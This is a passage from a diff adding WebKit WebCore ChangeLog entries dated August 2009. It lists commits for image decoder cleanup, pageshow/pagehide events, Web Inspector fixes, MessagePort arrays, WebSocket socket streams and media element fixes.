+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::~GraphicsContext3D):
+        (WebCore::GraphicsContext3D::reshape):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        (WebCore::GraphicsLayerCA::):
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
+        (WebCore::GraphicsLayerCA::commitLayerChanges):
+        (WebCore::GraphicsLayerCA::updateContentsGraphicsContext3D):
+        (WebCore::GraphicsLayerCA::setContentsToGraphicsContext3D):
+        (WebCore::GraphicsLayerCA::setGraphicsContext3DNeedsDisplay):
+        * rendering/RenderHTMLCanvas.cpp:
+        (WebCore::RenderHTMLCanvas::requiresLayer):
+        * rendering/RenderHTMLCanvas.h:
+        (WebCore::RenderHTMLCanvas::isCanvas):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
+        (WebCore::RenderLayerBacking::canUseDirectCompositing):
+        (WebCore::RenderLayerBacking::rendererContentChanged):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
+        (WebCore::RenderLayerCompositor::requiresCompositingForCanvas):
+        * rendering/RenderLayerCompositor.h:
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isCanvas):
+
+2009-08-27  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28751
+        Clean up ImageDecoder*.cpp a bit.
+
+        * platform/image-decoders/ImageDecoder.cpp: Put functions in the same
+          order as in the header file.  Also, since there's already an anonymous
+          namespace in this file, use it to enclose the local helper functions.
+        (WebCore::):
+        (WebCore::ImageDecoder::upperBoundScaledX):
+        (WebCore::ImageDecoder::lowerBoundScaledX):
+        (WebCore::ImageDecoder::scaledY):
+        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
+        (WebCore::RGBA32Buffer::width): Style fix.
+        (WebCore::RGBA32Buffer::height): Style fix.
+        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp:
+        (WebCore::RGBA32Buffer::copyBitmapData): Ensure m_size is set correctly.
+        (WebCore::RGBA32Buffer::asNewNativeImage): Remove unneeded temp.
+        (WebCore::RGBA32Buffer::operator=): Simplify.
+        * platform/image-decoders/wx/ImageDecoderWx.cpp:
+        (WebCore::RGBA32Buffer::asNewNativeImage): Try and collect spaced-out temps under loop comment to show they're all related.  Use size_t for iterating over elements of a Vector.
+        (WebCore::RGBA32Buffer::width): Style fix.
+        (WebCore::RGBA32Buffer::height): Style fix.
+
+2009-08-27  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28751
+        Clean up ImageSource.* in preparation for more fixes on bug 27965.
+
+        * platform/graphics/ImageSource.cpp: Put functions in the same order as in header file.
+        (WebCore::ImageSource::isSizeAvailable): Shorten.
+        (WebCore::ImageSource::size): Shorten.
+        (WebCore::ImageSource::frameSizeAtIndex): Shorten.
+        (WebCore::ImageSource::repetitionCount): Shorten.
+        (WebCore::ImageSource::frameIsCompleteAtIndex):
+        * platform/graphics/ImageSource.h: Shorten #ifdef section a bit by sharing common typedefs.
+
+2009-08-27  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28785
+        Add ImageDecoder.cpp to various build files so platforms will be able to
+        use it.  Move an ENABLE to not cover the whole file, in preparation for
+        adding a bunch of code.  Simplify #ifdefs in ImageDecoder.h to be "Skia
+        vs. everyone else", which also gives new platforms a reasonable default
+        behavior.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCoreSources.bkl:
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::):
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::RGBA32Buffer::getAddr):
+
+2009-08-27  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Dave Kilzer.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=28784
+        
+        Add an exported method to flush pending repaints.
+
+        * WebCore.base.exp:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layoutIfNeededRecursive):
+        (WebCore::FrameView::flushDeferredRepaints):
+        * page/FrameView.h:
+
+2009-08-27  Noel Gordon  <noel.gordon@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Expose files from the pasteboard in drop events.
+        https://bugs.webkit.org/show_bug.cgi?id=28782
+
+        Update chromium port to expose dataTransfer.files() as per
+        HTML5 drag drop (Aug 2009 edition).
+
+        * platform/chromium/ClipboardChromium.cpp:
+
+2009-08-27  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Dmitry Glazkov.
+
+        ScriptState now keeps explicit Handle of devtools front-end
+        utility context instead of trying to retrieve it from inspected
+        Frame.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28772
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/ScriptScope.cpp:
+        (WebCore::ScriptScope::ScriptScope):
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::ScriptState::ScriptState):
+        (WebCore::ScriptState::~ScriptState):
+        (WebCore::scriptStateFromPage):
+        * bindings/v8/ScriptState.h:
+        (WebCore::ScriptState::context):
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::~ScriptValue):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::frontendScriptState):
+
+2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Console won't close.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28778
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
+        * inspector/front-end/utilities.js:
+        (Node.prototype.isAncestor):
+
+2009-08-27  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Fix a typo in files() causing image drags to have junk file arrays.
+        https://bugs.webkit.org/show_bug.cgi?id=28755
+
+        Test: editing/pasteboard/files-during-page-drags.html
+
+        * platform/mac/ClipboardMac.mm:
+        (WebCore::ClipboardMac::files):
+
+2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
+
+        Not reviewed.  Build fix for Chromium.
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-08-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * DerivedSources.cpp: Added JSPageTransitionEvent.cpp to DerivedSources.cpp.
+
+2009-08-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28758
+        <rdar://problem/6440869> Implement pageshow and pagehide events for b/f cache (28758)
+
+        Tests: fast/events/pageshow-pagehide-on-back-cached.html
+               fast/events/pageshow-pagehide-on-back-uncached.html
+               fast/events/pageshow-pagehide.html
+
+        * loader/FrameLoader.cpp: (WebCore::FrameLoader::stopLoading): Dispatch pagehide event
+        (this function is called both when a document goes away, and when it goes to b/f cache).
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents): Dispatch pagehide right before unload.
+        (WebCore::DOMWindow::dispatchPageTransitionEvent): Do what it takes to add a new event handler
+        that can be installed on Window object.
+        (WebCore::DOMWindow::onpagehide): Ditto.
+        (WebCore::DOMWindow::setOnpagehide): Ditto.
+        (WebCore::DOMWindow::onpageshow): Ditto.
+        (WebCore::DOMWindow::setOnpageshow): Ditto.
+
+        * history/CachedFrame.cpp: (WebCore::CachedFrame::restore): Dispatch pageshow for a page
+        that isn't being restored from cache.
+
+        * dom/PageTransitionEvent.cpp: Added.
+        (WebCore::PageTransitionEvent::PageTransitionEvent):
+        (WebCore::PageTransitionEvent::~PageTransitionEvent):
+        (WebCore::PageTransitionEvent::initPageTransitionEvent):
+        * dom/PageTransitionEvent.h: Added.
+        (WebCore::PageTransitionEvent::create):
+        (WebCore::PageTransitionEvent::isPageTransitionEvent):
+        (WebCore::PageTransitionEvent::persisted):
+        * dom/PageTransitionEvent.idl: Added.
+        Add event class implementation.
+
+        * html/HTMLBodyElement.cpp: (WebCore::HTMLBodyElement::parseMappedAttribute): Support
+        inline listener definition (note that adding listeners to document.body programmatically
+        is not supported, matching Firefox).
+
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose): Dispatch pageshow event right before load event.
+        (WebCore::Document::dispatchPageTransitionEvent): Do what it takes to add a new event for
+        Docuemnt.
+        (WebCore::Document::createEvent): Ditto.
+
+        * dom/Document.h: Added dispatchPageTransitionEvent.
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSEventCustom.cpp: (WebCore::toJS):
+        * dom/Event.cpp: (WebCore::Event::isPageTransitionEvent):
+        * dom/Event.h:
+        * dom/EventNames.h:
+        * html/HTMLAttributeNames.in:
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        Do what it takes to add a new event type.
+
+2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by NOBODY (build fix).
+
+        Adding missing file from previous commit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28740
+
+        * inspector/front-end/SummaryBar.js: Added.
+        (WebInspector.SummaryBar):
+        (WebInspector.SummaryBar.prototype.get calculator):
+        (WebInspector.SummaryBar.prototype.set calculator):
+        (WebInspector.SummaryBar.prototype.reset):
+        (WebInspector.SummaryBar.prototype.update):
+        (WebInspector.SummaryBar.prototype._drawSwatch.drawSwatchSquare):
+        (WebInspector.SummaryBar.prototype._drawSwatch):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph.var):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph.drawPill):
+        (WebInspector.SummaryBar.prototype._fadeOutRect):
+        (WebInspector.SummaryBar.prototype._makeLegendElement):
+
+2009-08-27  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Factor out Factor out summary bar from Resources panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28740
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype._updateSummaryGraph):
+        (WebInspector.ResourcesPanel.prototype._updateDividersLabelBarPosition):
+        (WebInspector.ResourcesPanel.prototype._changeSortingFunction):
+        * inspector/front-end/SummaryBar.js: Added.
+        (WebInspector.SummaryBar):
+        (WebInspector.SummaryBar.prototype.get calculator):
+        (WebInspector.SummaryBar.prototype.set calculator):
+        (WebInspector.SummaryBar.prototype.reset):
+        (WebInspector.SummaryBar.prototype.update):
+        (WebInspector.SummaryBar.prototype._drawSwatch.drawSwatchSquare):
+        (WebInspector.SummaryBar.prototype._drawSwatch):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph.var):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph):
+        (WebInspector.SummaryBar.prototype._drawSummaryGraph.drawPill):
+        (WebInspector.SummaryBar.prototype._fadeOutRect):
+        (WebInspector.SummaryBar.prototype._makeLegendElement):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2009-08-26  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Start adding heap profiler to Inspector (hidden behind a flag.)
+
+        https://bugs.webkit.org/show_bug.cgi?id=28429
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
+        (WebInspector.ProfilesPanel.prototype.reset):
+        (WebInspector.ProfilesPanel.prototype.addProfile):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        (WebInspector.ProfilesPanel.prototype._snapshotClicked):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js: added Preferences.heapProfilerPresent flag.
+
+2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Metrics sidebar editing is broken.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28434
+
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane.prototype.update):
+
+2009-08-27  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28767
+
+        Make KURLGoogle.cpp's decodeURLEscapeSequences decode %00 to match
+        KURL.cpp.  This makes the XSSAuditor tests pass when using KURLGoogle.
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::decodeURLEscapeSequences):
+
+2009-08-27  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Build fix, missing functions after r47763.
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::localizedMediaControlElementString):
+        (WebCore::localizedMediaControlElementHelpText):
+        (WebCore::localizedMediaTimeDescription):
+
+2009-08-26  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Removing trailing whitespaces from all storage classes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28075
+
+        * storage/ChangeVersionWrapper.cpp:
+        * storage/Database.cpp:
+        * storage/Database.h:
+        * storage/DatabaseDetails.h:
+        * storage/DatabaseThread.cpp:
+        * storage/DatabaseTracker.cpp:
+        * storage/DatabaseTracker.h:
+        * storage/LocalStorageTask.cpp:
+        * storage/LocalStorageTask.h:
+        * storage/LocalStorageThread.cpp:
+        * storage/LocalStorageThread.h:
+        * storage/OriginQuotaManager.cpp:
+        * storage/OriginUsageRecord.cpp:
+        * storage/OriginUsageRecord.h:
+        * storage/SQLError.h:
+        * storage/SQLResultSetRowList.h:
+        * storage/SQLStatement.cpp:
+        * storage/SQLStatement.h:
+        * storage/SQLStatementCallback.h:
+        * storage/SQLStatementErrorCallback.h:
+        * storage/SQLTransaction.cpp:
+        * storage/SQLTransaction.h:
+        * storage/SQLTransactionCallback.h:
+        * storage/SQLTransactionErrorCallback.h:
+        * storage/Storage.cpp:
+        * storage/Storage.h:
+        * storage/StorageArea.h:
+        * storage/StorageAreaImpl.cpp:
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        * storage/StorageAreaSync.h:
+        * storage/StorageEvent.cpp:
+        * storage/StorageEvent.h:
+        * storage/StorageMap.cpp:
+        * storage/StorageMap.h:
+        * storage/StorageNamespaceImpl.cpp:
+        * storage/StorageSyncManager.cpp:
+        * storage/StorageSyncManager.h:
+
+2009-08-26  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28763, flickering when opacity changes.
+
+        Make opacity changes from < 1 to 1 and from 1 to < 1 cause a relayout to happen.  We need
+        to do this in order for overflow information to be properly recomputed.
+
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::diff):
+
+2009-08-26  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        HTMLMediaElement sometimes loses events
+        https://bugs.webkit.org/show_bug.cgi?id=28762
+        <rdar://problem/7172437>
+
+        A media element triggers the resource selection algorithm if 
+        play() is called when the networkState attribute is NETWORK_EMPTY, but
+        it also immediately queues 'play' and either 'waiting' or 'playing' events.
+        One of the steps in preparing to load is to flush pending events, so those 
+        events were lost if the load timer fired quickly enough. Fixed by deleting
+        pending events before scheduling the load timer.
+
+        Test: media/audio-play-event.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::scheduleLoad):
+            Do nothing if the load timer is already scheduled. Call prepareForLoad so queue of 
+            pending events is flushed immediately.
+        (WebCore::HTMLMediaElement::scheduleNextSourceChild):
+            New, start the load timer without flushing pending events.
+        (WebCore::HTMLMediaElement::load):
+            Call prepareForLoad();
+        (WebCore::HTMLMediaElement::prepareForLoad):
+            New, load setup code moved from loadInternal.
+        (WebCore::HTMLMediaElement::loadInternal):
+            Moved some setup code to prepareForLoad so it can be invoked immediately before
+            arming the load timer.
+        (WebCore::HTMLMediaElement::setNetworkState):
+            Call scheduleNextSourceChild instead of scheduleLoad as the later now clears
+            pending events.
+        * html/HTMLMediaElement.h:
+            Declare scheduleNextSourceChild.
+
+2009-08-26  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28751
+        Switch ICO decoder from a Vector of raw pointers to a Vector of
+        OwnPtrs now that that is possible.  Makes code slightly simpler.
+
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::decodeAtIndex):
+        (WebCore::ICOImageDecoder::processDirectory):
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+
+2009-08-26  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28718, image inside relpositioned inline doesn't paint.
+        Make sure vertical overflow is still computed across self-painting layers, even though it isn't
+        propagated to parents.
+
+        Added fast/repaint/rel-positioned-inline-with-overflow.html
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::computeVerticalOverflow):
+
+2009-08-26  David Levin  <levin@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        ResourceRequestBase::*[Aa]llowHTTPCookies shouldn't mention http.
+        https://bugs.webkit.org/show_bug.cgi?id=28735
+
+        Renaming the method to imply its wider implications of affecting cookies
+        over any protocol that supports them.
+
+        No change in functionality so no new tests.
+
+        * WebCore.order:
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader):
+        (WebCore::DocumentThreadableLoader::makeSimpleCrossOriginAccessRequest):
+        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight):
+        * platform/network/ResourceRequestBase.cpp:
+        (WebCore::ResourceRequestBase::adopt):
+        (WebCore::ResourceRequestBase::copyData):
+        (WebCore::ResourceRequestBase::allowCookies):
+        (WebCore::ResourceRequestBase::setAllowCookies):
+        (WebCore::equalIgnoringHeaderFields):
+        * platform/network/ResourceRequestBase.h:
+        (WebCore::ResourceRequestBase::ResourceRequestBase):
+        * platform/network/cf/ResourceRequestCFNet.cpp:
+        (WebCore::ResourceRequest::doUpdatePlatformRequest):
+        (WebCore::ResourceRequest::doUpdateResourceRequest):
+        * platform/network/mac/ResourceRequestMac.mm:
+        (WebCore::ResourceRequest::doUpdateResourceRequest):
+        (WebCore::ResourceRequest::doUpdatePlatformRequest):
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::updateFromSoupMessage):
+
+2009-08-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Made RenderInline::clippedOverflowRectForRepaint() actually include
+        overflow.
+
+        Test: fast/repaint/inline-overflow.html
+
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::linesVisibleOverflowBoundingBox): Added. Returns
+            the bounding box of all lines’ visible overflow boxes (under the
+            assumption that the first and last lines determine the top and
+            bottom, respectively).
+        (WebCore::RenderInline::clippedOverflowRectForRepaint): Changed to use
+            linesVisibleOverflowBoundingBox() instead of linesBoundingBox().
+        * rendering/RenderInline.h:
+
+2009-08-26  John Gregg  <johnnyg@google.com>
+
+        Reviewed by David Levin.
+
+        minor style correction and include fix for notifications
+        https://bugs.webkit.org/show_bug.cgi?id=28745
+
+        No change in behavior, so no tests.
+
+        * bindings/js/JSDesktopNotificationsCustom.cpp: add include of Error.h
+        * notifications/Notification.cpp: change enum style to InterCaps
+        (WebCore::Notification::Notification):
+        * notifications/NotificationPresenter.h:
+        (WebCore::NotificationPresenter::):
+
+2009-08-25  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        postMessage() spec now supports sending arrays of ports
+        https://bugs.webkit.org/show_bug.cgi?id=26902
+
+        Added support for sending multiple ports at once via postMessage(). JS bindings will be updated in an upcoming patch.
+
+        No new tests, since the new functionality is not exposed via new JS bindings yet, so the old tests suffice.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        Mark MessagePort.h and MessagePortChannel.h as private since they are used by WebKit now.
+        * dom/MessageEvent.cpp:
+        Updated APIs to support passing MessagePortArrays.
+        (WebCore::MessageEvent::MessageEvent):
+        (WebCore::MessageEvent::initMessageEvent):
+        (WebCore::MessageEvent::messagePort):
+        * dom/MessageEvent.h:
+        (WebCore::MessageEvent::create):
+        Now accepts a MessagePortArray parameter instead of a single MessagePort.
+        (WebCore::MessageEvent::ports):
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::postMessage):
+        (WebCore::MessagePort::dispatchMessages):
+        (WebCore::MessagePort::disentanglePorts):
+        Added new static function to extract a MessagePortChannelArray from a MessagePortArray.
+        (WebCore::MessagePort::entanglePorts):
+        Added new static function to generate a MessagePortArray (entangled ports) from a MessagePortChannelArray.
+        * dom/MessagePort.h:
+        * dom/MessagePortChannel.cpp:
+        EventData now contains a MessagePortChannelArray field instead of a single MessagePortChannel.
+        (WebCore::MessagePortChannel::EventData::create):
+        (WebCore::MessagePortChannel::EventData::EventData):
+        * dom/MessagePortChannel.h:
+        (WebCore::MessagePortChannel::EventData::channels):
+        * page/DOMWindow.cpp:
+        (WebCore::PostMessageTimer::PostMessageTimer):
+        (WebCore::PostMessageTimer::event):
+        (WebCore::DOMWindow::postMessage):
+        Now accepts a MessagePortArray parameter instead of a single MessagePort.
+        * page/DOMWindow.h:
+        * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::postMessage):
+        Now accepts a MessagePortArray parameter instead of a single MessagePort.
+        (WebCore::DedicatedWorkerContext::dispatchMessage):
+        * workers/DedicatedWorkerContext.h:
+        * workers/Worker.cpp:
+        (WebCore::Worker::postMessage):
+        Now accepts a MessagePortArray parameter instead of a single MessagePort.
+        (WebCore::Worker::dispatchMessage):
+        * workers/Worker.h:
+        * workers/WorkerContextProxy.h:
+        * workers/WorkerMessagingProxy.cpp:
+        Updated WorkerObjectProxy and WorkerContextProxy API implementations to support sending multiple MessagePorts.
+        (WebCore::MessageWorkerContextTask::create):
+        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
+        (WebCore::MessageWorkerContextTask::performTask):
+        (WebCore::MessageWorkerTask::create):
+        (WebCore::MessageWorkerTask::MessageWorkerTask):
+        (WebCore::MessageWorkerTask::performTask):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
+        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerObjectProxy.h:
+        Updated WorkerObjectProxy and WorkerContextProxy APIs to support sending multiple MessagePorts.
+
+2009-08-26  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        SocketStreamHandle interface for WebSocket API
+        https://bugs.webkit.org/show_bug.cgi?id=28037
+
+        Add build systems only for GNUmakefile.am and WebCore.xcodeproj.now.
+        Other build systems will be updated once the code is functional.
+        Tests will be landed once this code is complete and functional.
+
+        * GNUmakefile.am:
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/network/SocketStreamErrorBase.cpp: Added.
+        * platform/network/SocketStreamErrorBase.h: Added.
+        * platform/network/SocketStreamHandleBase.cpp: Added.
+        * platform/network/SocketStreamHandleBase.h: Added.
+        * platform/network/SocketStreamHandleClient.h: Added.
+        * platform/network/cf/SocketStreamError.h: Added.
+        * platform/network/cf/SocketStreamHandle.h: Added.
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Added.
+        * platform/network/soup/SocketStreamError.h: Added.
+        * platform/network/soup/SocketStreamHandle.h: Added.
+        * platform/network/soup/SocketStreamHandleSoup.cpp: Added.
+
+2009-08-26  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] setTimeout does not convert non-string argument to string
+        https://bugs.webkit.org/show_bug.cgi?id=28739
+
+        Convert non-string argument to setTimeout to string in the V8
+        bindings.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+
+2009-08-25  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        [ES5] Implement getOwnPropertyDescriptor
+        https://bugs.webkit.org/show_bug.cgi?id=28724
+
+        Implement the WebCore side of getOwnPropertyDescriptor.  This
+        requires a custom implementation of getOwnPropertyDescriptor
+        for every class with a custom implementation of getOwnPropertySlot.
+
+        The bindings generator has been updated to generate appropriate
+        versions of getOwnPropertyDescriptor for the general case where
+        a custom getOwnPropertyDescriptor is not needed.  ES5 is vague
+        about how getOwnPropertyDescriptor should work in the context of
+        "host" functions with polymorphic [[GetOwnProperty]], so it seems
+        okay that occasionally we "guess" what attributes -- eg. determining
+        whether a property is writable.
+
+        Test: fast/js/getOwnPropertyDescriptor.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getOwnPropertyDescriptor):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::getOwnPropertyDescriptor):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSHTMLAppletElementCustom.cpp:
+        (WebCore::JSHTMLAppletElement::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSHTMLEmbedElementCustom.cpp:
+        (WebCore::JSHTMLEmbedElement::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSHTMLObjectElementCustom.cpp:
+        (WebCore::JSHTMLObjectElement::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::JSHistory::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::getOwnPropertyDescriptorDelegate):
+        * bindings/js/JSNamedNodesCollection.cpp:
+        (WebCore::JSNamedNodesCollection::getOwnPropertyDescriptor):
+        * bindings/js/JSNamedNodesCollection.h:
+        * bindings/js/JSPluginElementFunctions.cpp:
+        (WebCore::runtimeObjectCustomGetOwnPropertyDescriptor):
+        * bindings/js/JSPluginElementFunctions.h:
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyDescriptor):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::getOwnPropertyDescriptorDelegate):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/objc/objc_runtime.h:
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::ObjcFallbackObjectImp::getOwnPropertyDescriptor):
+        * bridge/runtime.h:
+        (JSC::Bindings::Instance::getOwnPropertyDescriptor):
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::getOwnPropertyDescriptor):
+        * bridge/runtime_array.h:
+        * bridge/runtime_method.cpp:
+        (JSC::RuntimeMethod::getOwnPropertyDescriptor):
+        * bridge/runtime_method.h:
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::getOwnPropertyDescriptor):
+        * bridge/runtime_object.h:
+
+2009-08-26  Vincent Untz <vuntz@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        GObject checks for NULL (and not 0) in g_object_get, so use that
+        as we were already doing elsewhere to make the compiler happy.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::hasAudio):
+
+2009-08-26  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        RenderThemeMac.mm has incorrect casting for media control element.
+        https://bugs.webkit.org/show_bug.cgi?id=28730
+
+        MediaControlMuteButtonElement was incorrectly casted to
+        MediaControlPlayButtonElement. This is corrected in this patch.
+
+        No new tests because this is code cleanup and is already covered by existing
+        media layout tests.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMediaMuteButton):
+
+2009-08-26  Robert Sesek  <rsesek@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Multi-value select boxes cannot do non-contiguous selection on Mac
+        https://bugs.webkit.org/show_bug.cgi?id=28670
+
+        Change the condition regarding the key modifier check for non-contiguous
+        selection on a multi-value list from just PLATFORM(MAC) to
+        PLATFORM(MAC) || (PLATFORM(CHROMIUM) && PLATFORM(DARWIN)).
+
+        No new tests. This patch only changes the condition on which a certain mouse
+        event modifier key is used.
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::listBoxDefaultEventHandler):
+
+2009-08-25  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein
+
+        r47744 causes media/video-controls-with-mutation-event-handler.html to crash
+        https://bugs.webkit.org/show_bug.cgi?id=28732
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlVolumeSliderElement::MediaControlVolumeSliderElement):
